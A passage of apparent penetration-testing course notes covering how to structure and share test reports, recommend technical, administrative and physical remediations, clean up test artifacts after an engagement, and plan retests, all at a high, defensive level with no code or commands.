- **Indicators of Prior Compromise:** Evidence of previous security breaches.
  - Decision to notify Incident Response Team depends on freshness and impact of findings.
  - Ensures timely response to ongoing threats or vulnerabilities discovered during testing.
- **Goal Reprioritization:** Adjustments to engagement goals based on evolving findings.
  - Allows flexibility in response to new discoveries or changing threat landscapes.
  - Supports effective contingency planning and adaptation during PenTest activities.

Situational Awareness and Communication:

- **Managing Testing Impact:** Awareness of potential disruptions caused by testing activities.
  - Proactive communication to mitigate unintended consequences or system instability.
  - Ensures continuity of testing while minimizing operational impact on client systems.
- **Handling False Positives:** Identification and management of inaccurate vulnerability assessments.
  - Understanding common causes of false positives (e.g., outdated databases, misconfigurations).
  - Validation process to confirm genuine vulnerabilities and avoid wasting resources on erroneous leads.

Legal and Ethical Considerations:

- **Disclosure of Criminal Activity:** Obligation to report criminal conduct discovered during testing to appropriate authorities.
    - Maintains confidentiality of findings while upholding legal and ethical responsibilities.
    - Consultation with legal counsel for guidance on handling sensitive discoveries.

Use Built-In Tools for Reporting

Tools for Collating and Presenting Findings:

- **Purpose of Reporting Tools:** Facilitate the collection and summarization of PenTest results for final reporting.
    - Streamline the labor-intensive task of documenting findings across different phases of PenTest.
- **Presentation Standards:** Begin with established frameworks like PTES (Penetration Testing Execution Standard) for consistency and clarity.
    - Classify vulnerabilities and exploits to ensure readability and meaningful interpretation of results.
    - Example classifications include technical vulnerabilities, OSI layer vulnerabilities, and exposure summaries.

Sharing Findings with Dradis:

- **Dradis Framework:** Enhances collaboration and reduces redundancy among team members.
    - Facilitates data sharing on client information, exploits, and report findings.
    - Ensures comprehensive coverage and avoids duplicate efforts during PenTesting.

Building Reports with Nessus:

- **Nessus Vulnerability Scanner:** Offers dedicated reporting modules with customizable templates.
    - Enhances report structure consistency across diverse client environments.
    - Identifies common vulnerabilities and issues through standardized reporting practices.

Lesson 18

Summarizing Report Components

Identify Report Audience

Target Audience Considerations:

1. **Types of Information Systems Tested:**
   - Determines the composition of the audience.
   - E.g., testing networks and hosts may exclude web developers unless web applications are tested.
2. **Stakeholders:**
   - Includes upper-level managers, IT management and personnel, and those directly affected by the PenTest.
   - Representatives from the client's security or IT team are crucial.
3. **Internal vs. External Teams:**
   - Internal teams share upper management representation.
   - External consultants report to different management teams.

Reporting to Senior Management (C-Suite):

- **Importance:** Responsible for decision-making based on findings.
- **Considerations:** Costs of implementing recommendations vs. business efficiency.

Including Third-Party Stakeholders:

- **Examples:** Providers, investors, regulators.
- **Purpose:** Ensures regulatory compliance and secure operations.
- **Strategy:** Relate activities to industry-standard security frameworks.

Sharing Information with Technical Staff:

- **Role:** Responsible for maintaining tested systems.
- **Value:** Detailed vulnerability information aids in resolution and mitigation strategies.

Providing Details to Developers:

- **Responsibility:** Create and maintain applications.
- **Involvement:** Directly implement resolution and mitigation strategies.
- **Emphasis:** Secure software development practices.

List Report Contents

Target Audiences and Report Organization:

- **Board Members, End Users, Technical Administrators:**
  - Tailor reports to accommodate different levels of technical expertise and interest.
- **Report Structure:**
  - **Executive Summary:**
    - High-level overview for decision-makers.
    - Briefly outlines the penetration test process, key findings, and their implications.
  - **Scope Details:**
    - Defines the agreed-upon scope and any deviations.
    - Ensures transparency and alignment with client expectations.
  - **Methodology:**
    - Describes the standards and procedures followed during the test.
    - Provides context for the activities performed.
  - **Attack Narrative:**
    - Detailed account of testing activities and outcomes.
    - Correlates methodology with specific actions taken during the test.
  - **Findings:**
    - Presents identified vulnerabilities with details like threat level and exploitability.
    - May include a full list of findings in an appendix for thoroughness.
  - **Risk Appetite:**
    - Defines the organization's tolerance for risk.
    - Uses metrics like probability and impact to assess risk levels against organizational standards.
  - **Risk Rating and Prioritization:**
    - Quantifies risks using frameworks like CVSS.
    - Prioritizes findings based on client needs and industry compliance requirements.
  - **Business Impact Analysis:**
    - Evaluates potential consequences of identified vulnerabilities.
    - Guides resource allocation for resolution efforts.
  - **Metrics and Measures:**
    - Provides quantifiable data on findings, such as vulnerability criticality.
    - Supports analysis with tables or graphs for clarity.
  - **Remediation Recommendations:**
    - Offers actionable steps to address identified vulnerabilities.

        - Includes multiple options to accommodate client preferences and capabilities.

    - **Conclusion and Appendix:**
        - Summarizes findings and outcomes.
        - Appends detailed evidence and supporting documents.

Define Best Practices for Reports

1. Components of a Report:

- **Cover Page:** Includes report name, version/date, author, and target organization.
- **Document Properties:** Includes metadata like title, version, authors, activity dates, and revision history.
- **Version Control:** Tracks changes with descriptions, authors, dates, and version numbers.

2. Securing Report Distribution:

- Store reports on secure servers, avoid external drives.
- Use access controls to limit viewing within client organizations.
- Encrypt reports to prevent unauthorized access during storage and transmission.

3. Taking Notes:

- Internal notes aid in recalling detailed activities and decisions during tests.
- Flexibility in note-taking allows adaptation to team needs and client requirements.

4. Ongoing Documentation:

- Mandatory for maintaining consistency in reporting findings.
- Helps in creating coherent attack narratives and detailed findings sections.

5. Identifying Common Themes/Root Causes:

- Recognize recurring vulnerabilities like lax physical security or outdated software.
- Provides insights into systemic weaknesses across the target environment.

6. Outlining Best Practices:

- Derive best practices from identified vulnerabilities and industry standards.
- Include these practices to enhance report value and guide client improvements.

7. Providing Observations:

- Summarize key findings, deviations, and recommendations.
- Ensure observations are actionable and tailored to the client's risk appetite.

8. Summarizing Writing and Handling Reports:

- Structure reports with sections like executive summary, methodology, findings, and recommendations.
- Tailor reports to address client-specific risks and preferences.
- Securely handle and store reports according to established best practices.

9. Developing Mitigation Strategies:

- Recommend strategies addressing common findings (e.g., weak passwords, XSS attacks).
- Balance recommendations across people, processes, and technology for comprehensive security.

Lesson 19

Recommending Remediation

Employ Technical Controls

System Hardening

- **Definition**: Securing devices or applications to meet network standards.
- **Steps**:
  - Address known vulnerabilities.
  - Test for unknown vulnerabilities.
  - Notify manufacturers of discovered vulnerabilities.
  - Harden with industry standards (ISO, SANS, NIST, CIS).
  - Implement patch management for updates.
  - Configure firewalls for least privilege.
  - Disable unnecessary ports and services.
  - Uninstall unused software.
  - Segment hosts on the network.

Sanitizing User Input/Parameterized Queries

- **Purpose**: Mitigate code injection (XSS, SQL injection).
- **Techniques**:
  - **Escaping**: Convert special characters to HTML entities.
  - **Parameterized queries**: Use placeholders to process SQL inputs safely.
  - **Libraries**: Use language-specific sanitization libraries (e.g., PHP HTML Purifier, OWASP Java HTML Sanitizer).

Additional XSS Mitigation Techniques

- **Input Validation**: Whitelist approved HTML inputs.
- **Null Byte Sanitization**: Remove null bytes from inputs.

Implementing Multifactor Authentication (MFA)

- **Types**: Something you know, have, or are.
- **Methods**: SMS codes, smart cards, biometrics.
- **Advantages**: Enhances security beyond passwords.

Encrypting Passwords

- **Best Practice**: Store passwords encrypted to prevent reuse.

- **Use**: Password managers for secure storage.

Remediating at the Process-Level

- **Definition**: Resolve findings by altering processes (e.g., migrating to encrypted channels).

Managing and Applying Patches

- **Patch Management**: Control and apply patches systematically.
- **Importance**: Ensure updates are tested and tracked.

Rotating Keys and Controlling Certificates

- **Key Rotation**: Periodically update access keys for servers.
- **Certificate Management**: Administer digital certificates securely.
- **Certificate Pinning**: Assign specific certificates to prevent MITM attacks.

Providing Secret Solutions and Segmenting Networks

- **Secret Management**: Securely store sensitive information (e.g., passwords).
- **Network Segmentation**: Divide network infrastructure for security and access control.

Administrative and Operational Controls

Implementing Policies and Procedures

- **Role-Based Access Control (RBAC)**:
  - Restricts access based on user roles.
  - Prevents unauthorized access to sensitive resources.
- **Password Policies**:
  - Enforce strong passwords and avoid common vulnerabilities.
  - Use cryptographic hash functions (e.g., SHA-256, bcrypt) for storing passwords.
- **Mobile Device Management (MDM)**:
  - Centralized management for enforcing security policies on mobile devices.
  - Includes OS updates, app management, and remote wipe capabilities.

Securing Software Development Life Cycle (SDLC)

- **Integration of Security in SDLC**:
  - Incorporate security at every phase (design, development, testing).
  - Use techniques like fuzzing and input validation to identify vulnerabilities early.
- **Best Coding Practices**:
  - Write clear, well-documented, and secure code.

  - Avoid insecure coding practices like lack of input validation and hard-coded credentials.

People Security Controls

- **Training and Awareness**:
  - Regular security training to educate employees.
  - Emphasize the importance of security and consequences of lapses.
- **Management Support and Accountability**:
  - Leadership sets security tone and enforces policies.
  - Implement penalties for non-compliance and reward compliance.

Other Operational Considerations

- **Job Rotation**:
  - Reduces insider threats by rotating responsibilities.
  - Enhances skills and reduces stress among employees.
- **Time of Day Restrictions**:
  - Limits access based on operational hours to mitigate risks.
- **Mandatory Vacations**:
  - Prevents burnout and reduces vulnerabilities due to fatigue.

Recommended Actions

- **Regular Assessments and Updates**:
  - Conduct vulnerability scans and penetration tests.
  - Update policies and procedures based on findings.

Key Performance Indicators (KPIs)

- **Monitoring Effectiveness**:
  - Measure security incident trends, response times, and vulnerability remediation.

Physical Controls

Controlling Access to Buildings

- **Access Management**:
  - Manage ingress using permissions.
  - Example: RFID access cards for elevators.
  - Vulnerabilities: RFID cloning and replay attacks.

Employing Biometric Controls

- **Biometric Authentication**:
    - Uses unique biological features (e.g., fingerprints, iris).
    - Reliable access control method (e.g., fingerprint scanners, face recognition).

Utilizing Video Surveillance

- **Video Monitoring**:
    - Uses cameras for monitoring.
    - Security considerations: Networked surveillance vulnerabilities (e.g., Wi-Fi attacks).
    - Best practices: Use wired connections, network segmentation, and regular firmware updates.

Security Measures

- **Physical Security Best Practices**:
    - Implement layered access controls.
    - Regularly assess and update security protocols.
    - Educate personnel on security policies.

Mitigating Risks

- **Risk Mitigation**:
    - Analyze attack vectors and vulnerabilities.
    - Recommend remediation strategies.
    - Enhance physical security through integrated technologies.

Lesson 20

Performing Post-Report Delivery Activities

Post-Engagement Cleanup

Purpose

- **Artifact Removal**: Ensure no artifacts remain that attackers could exploit.
- **Risk Reduction**: Minimize lingering risks to organizational security.

Cleanup Tasks

1. **Delete New Files**: Remove any files created during testing.
2. **Remove Credentials**: Revoke test credentials and accounts.
3. **Restore Configurations**: Return modified configurations to original states.
4. **Restore Files and Logs**: Replace modified or deleted files and logs.
5. **Remove Shells and Backdoors**: Eliminate hidden access points like shells and RATs.
6. **Purge Sensitive Data**: Securely erase exposed sensitive information.
7. **Clean Tools**: Uninstall tools used for compromise (e.g., Metasploit payloads).

Considerations

- **Avoid Collateral Damage**: Ensure removal targets only test artifacts.
- **System Integrity**: Don’t disrupt essential system operations.
- **Domain and Network Cleanup**: Address AD accounts and scheduled tasks properly.

Techniques for Data Destruction

- **Shredding Data**: Overwrite storage with new data to prevent recovery.
- **Automation**: Use scripts for efficient and thorough cleanup.
- **Technical Feasibility**: Ensure methods are effective across different storage types (e.g., HDD vs SSD).

Best Practices

- **Documentation**: Maintain detailed records of exploits and cleanup actions.
- **Security Protocols**: Follow secure procedures to protect against data exposure.

Follow-Up Actions

Client Acceptance and Feedback

- **Reviewing Findings**: Discuss report findings with the client for acceptance.
- **Mitigation Recommendations**: Ensure report includes actionable recommendations.
- **Client Engagement**: Address client concerns and clarify report details if necessary.
- **Proof of Findings**: Provide evidence (e.g., screenshots, data samples) to validate findings.

Planning Retests

- **Assessing Mitigation Progress**: Schedule retests to evaluate applied mitigations.
- **Collaboration with Security Teams**: Work with client security teams to implement and understand mitigations.
- **Research and Mitigation Updates**: Stay updated on new vulnerabilities and inform clients of mitigation strategies.

Lessons Learned

- **Debriefing**: Review team performance and test outcomes.
- **Improvement Actions**: Document lessons learned to enhance future PenTest engagements.
- **Continuous Improvement**: Adapt methodologies based on test outcomes and client feedback.

Legal Considerations

- **Evidence Integrity**: Maintain chain of custody for evidence in case of legal scrutiny.
- **Compliance**: Ensure findings and actions comply with legal and regulatory requirements.